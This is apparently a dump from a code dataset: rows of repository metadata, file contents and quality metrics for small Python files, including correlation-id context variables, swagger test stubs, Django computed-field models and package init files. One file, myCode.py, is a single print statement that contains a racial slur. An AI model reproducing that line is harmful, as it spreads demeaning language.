| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
48dda61492d2f8ba112ae3b2daec4698e22bede3
| 362
|
py
|
Python
|
asgi_correlation_id/context.py
|
lakshaythareja/asgi-correlation-id
|
c8febfdc04191087fb96b8d1843ad80e6f5cd080
|
[
"BSD-4-Clause"
] | null | null | null |
asgi_correlation_id/context.py
|
lakshaythareja/asgi-correlation-id
|
c8febfdc04191087fb96b8d1843ad80e6f5cd080
|
[
"BSD-4-Clause"
] | null | null | null |
asgi_correlation_id/context.py
|
lakshaythareja/asgi-correlation-id
|
c8febfdc04191087fb96b8d1843ad80e6f5cd080
|
[
"BSD-4-Clause"
] | null | null | null |
from contextvars import ContextVar
from typing import Optional
# Middleware
correlation_id: ContextVar[Optional[str]] = ContextVar('correlation_id', default=None)
# Celery extension
celery_parent_id: ContextVar[Optional[str]] = ContextVar('celery_parent', default=None)
celery_current_id: ContextVar[Optional[str]] = ContextVar('celery_current', default=None)
| 36.2
| 89
| 0.812155
| 43
| 362
| 6.651163
| 0.372093
| 0.125874
| 0.20979
| 0.241259
| 0.388112
| 0.272727
| 0
| 0
| 0
| 0
| 0
| 0
| 0.082873
| 362
| 9
| 90
| 40.222222
| 0.861446
| 0.074586
| 0
| 0
| 0
| 0
| 0.123494
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
48ddc9ebcfd0935a78edcf9e478744ebeff39225
| 1,120
|
py
|
Python
|
commons/kingpick_api_client/test/test_tenant_api.py
|
ciandt-d1/cvtool-gcs-connector
|
91732f746cfda99833a245c7da9f2a80aa052465
|
[
"Apache-2.0"
] | null | null | null |
commons/kingpick_api_client/test/test_tenant_api.py
|
ciandt-d1/cvtool-gcs-connector
|
91732f746cfda99833a245c7da9f2a80aa052465
|
[
"Apache-2.0"
] | null | null | null |
commons/kingpick_api_client/test/test_tenant_api.py
|
ciandt-d1/cvtool-gcs-connector
|
91732f746cfda99833a245c7da9f2a80aa052465
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
Kingpick Admin API
Provides APIs for tenant maintenance
OpenAPI spec version: 0.1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import os
import sys
import unittest
import kingpick_api_client
from kingpick_api_client.rest import ApiException
from kingpick_api_client.apis.tenant_api import TenantApi
class TestTenantApi(unittest.TestCase):
""" TenantApi unit test stubs """
def setUp(self):
self.api = kingpick_api_client.apis.tenant_api.TenantApi()
def tearDown(self):
pass
def test_get_tenant(self):
"""
Test case for get_tenant
"""
pass
def test_get_tenants(self):
"""
Test case for get_tenants
"""
pass
def test_post_tenant(self):
"""
Test case for post_tenant
"""
pass
def test_put_tenant(self):
"""
Test case for put_tenant
"""
pass
if __name__ == '__main__':
unittest.main()
| 16.231884
| 68
| 0.604464
| 131
| 1,120
| 4.900763
| 0.412214
| 0.068536
| 0.105919
| 0.093458
| 0.224299
| 0.093458
| 0
| 0
| 0
| 0
| 0
| 0.005202
| 0.313393
| 1,120
| 68
| 69
| 16.470588
| 0.829649
| 0.263393
| 0
| 0.227273
| 1
| 0
| 0.01214
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.272727
| false
| 0.227273
| 0.318182
| 0
| 0.636364
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 5
|
48e24a50d1f2fbfb49461c8e6b65c5e74f952725
| 22
|
py
|
Python
|
myCode.py
|
aradK47/myGitTest
|
4b82b0d75af2ec2f799c4202daa1f341a175a6ce
|
[
"MIT"
] | null | null | null |
myCode.py
|
aradK47/myGitTest
|
4b82b0d75af2ec2f799c4202daa1f341a175a6ce
|
[
"MIT"
] | null | null | null |
myCode.py
|
aradK47/myGitTest
|
4b82b0d75af2ec2f799c4202daa1f341a175a6ce
|
[
"MIT"
] | null | null | null |
print "hola my nigga"
| 11
| 21
| 0.727273
| 4
| 22
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181818
| 22
| 1
| 22
| 22
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0.590909
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
48f72897d206b579e2eecf844e1e17bde583f78d
| 55
|
py
|
Python
|
Image/SVG.py
|
olesmith/SmtC
|
dfae5097f02192b60aae05b9d02404fcfe893be3
|
[
"CC0-1.0"
] | null | null | null |
Image/SVG.py
|
olesmith/SmtC
|
dfae5097f02192b60aae05b9d02404fcfe893be3
|
[
"CC0-1.0"
] | null | null | null |
Image/SVG.py
|
olesmith/SmtC
|
dfae5097f02192b60aae05b9d02404fcfe893be3
|
[
"CC0-1.0"
] | null | null | null |
class Image_SVG():
def Stmp(self):
return
| 11
| 19
| 0.563636
| 7
| 55
| 4.285714
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.327273
| 55
| 4
| 20
| 13.75
| 0.810811
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
5b2443337ac672c75f75d255c90eef6b4b2a27ef
| 159
|
py
|
Python
|
utils/__init__.py
|
nicolas-racchi/hpc2020-graphML
|
7f0d8b7c18469e1c793c7097bd10a9e0322e75be
|
[
"Apache-2.0"
] | null | null | null |
utils/__init__.py
|
nicolas-racchi/hpc2020-graphML
|
7f0d8b7c18469e1c793c7097bd10a9e0322e75be
|
[
"Apache-2.0"
] | null | null | null |
utils/__init__.py
|
nicolas-racchi/hpc2020-graphML
|
7f0d8b7c18469e1c793c7097bd10a9e0322e75be
|
[
"Apache-2.0"
] | null | null | null |
from .load_data import load_data
from .preprocess import preprocess_data
from .tools import subsample, load_for_jupyter, load_for_jupyter_raw, smart_preprocess
| 53
| 86
| 0.874214
| 24
| 159
| 5.416667
| 0.458333
| 0.123077
| 0.215385
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08805
| 159
| 3
| 86
| 53
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
d2949cb2699a3e31487d9b351e128a52114b97a3
| 2,337
|
py
|
Python
|
example/exampleapp/models.py
|
hwalinga/django-computedfields
|
16a340d9cc96e74666542f4d4c68c8a432b598b8
|
[
"MIT"
] | 66
|
2018-05-18T06:45:11.000Z
|
2022-02-03T16:22:59.000Z
|
example/exampleapp/models.py
|
hwalinga/django-computedfields
|
16a340d9cc96e74666542f4d4c68c8a432b598b8
|
[
"MIT"
] | 100
|
2018-03-28T14:14:28.000Z
|
2022-03-29T03:31:52.000Z
|
example/exampleapp/models.py
|
hwalinga/django-computedfields
|
16a340d9cc96e74666542f4d4c68c8a432b598b8
|
[
"MIT"
] | 7
|
2020-02-08T23:45:53.000Z
|
2022-03-27T02:30:55.000Z
|
from django.db import models
from computedfields.models import ComputedFieldsModel, computed
class Foo(ComputedFieldsModel):
name = models.CharField(max_length=32)
@computed(models.CharField(max_length=32), depends=[['bar_set.baz_set', ['name']]])
def bazzes(self):
return ', '.join(Baz.objects.filter(
bar__foo=self).values_list('name', flat=True))
def __str__(self):
return self.name
class Bar(ComputedFieldsModel):
name = models.CharField(max_length=32)
foo = models.ForeignKey(Foo, on_delete=models.CASCADE)
@computed(models.CharField(max_length=32), depends=[['self', ['name']], ['foo', ['name']]])
def foo_bar(self):
return self.foo.name + self.name
def __str__(self):
return self.name
class Baz(ComputedFieldsModel):
name = models.CharField(max_length=32)
bar = models.ForeignKey(Bar, on_delete=models.CASCADE)
@computed(models.CharField(max_length=32), depends=[['self', ['name']], ['bar', ['foo_bar']]])
def foo_bar_baz(self):
return self.bar.foo_bar + self.name
def __str__(self):
return self.name
class SelfRef(ComputedFieldsModel):
name = models.CharField(max_length=32)
xy = models.IntegerField(default=0)
@computed(models.CharField(max_length=32), depends=[['self', ['name']]])
def c1(self):
return self.name.upper()
@computed(models.CharField(max_length=32), depends=[['self', ['c1']]])
def c2(self):
return 'c2' + self.c1
@computed(models.CharField(max_length=32, default=''), depends=[['self', ['c1']]])
def c3(self):
return 'c3' + self.c1
@computed(models.CharField(max_length=32, default=''), depends=[['self', ['c3']]])
def c4(self):
return 'c4' + self.c3
@computed(models.CharField(max_length=32, default=''), depends=[['self', ['c2', 'c4', 'c6']]])
def c5(self):
return 'c5' + self.c2 + self.c4 + self.c6
@computed(models.CharField(max_length=32, default=''), depends=[['self', ['xy']]])
def c6(self):
return 'c6' + str(self.xy)
@computed(models.CharField(max_length=32, default=''), depends=[['self', ['c8']]])
def c7(self):
return 'c7' + self.c8
@computed(models.CharField(max_length=32, default=''), depends=[])
def c8(self):
return 'c8'
| 30.75
| 98
| 0.632007
| 296
| 2,337
| 4.858108
| 0.165541
| 0.156467
| 0.187761
| 0.250348
| 0.621697
| 0.621697
| 0.621697
| 0.436718
| 0.372045
| 0.178025
| 0
| 0.031579
| 0.186992
| 2,337
| 75
| 99
| 31.16
| 0.725263
| 0
| 0
| 0.188679
| 0
| 0
| 0.051348
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.264151
| false
| 0
| 0.037736
| 0.264151
| 0.773585
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
828576b1da226261e1ac0a41494c23beab94d570
| 131
|
py
|
Python
|
tests/test_pycmake.py
|
scopatz/PyCMake
|
1c047f420a222300b0d1820bea5e5e6e5127c759
|
[
"MIT"
] | 1
|
2018-11-30T14:41:50.000Z
|
2018-11-30T14:41:50.000Z
|
tests/test_pycmake.py
|
scopatz/PyCMake
|
1c047f420a222300b0d1820bea5e5e6e5127c759
|
[
"MIT"
] | null | null | null |
tests/test_pycmake.py
|
scopatz/PyCMake
|
1c047f420a222300b0d1820bea5e5e6e5127c759
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""test_pycmake
----------------------------------
Tests for `pycmake` module.
"""
| 14.555556
| 34
| 0.442748
| 13
| 131
| 4.384615
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008696
| 0.122137
| 131
| 8
| 35
| 16.375
| 0.486957
| 0.908397
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.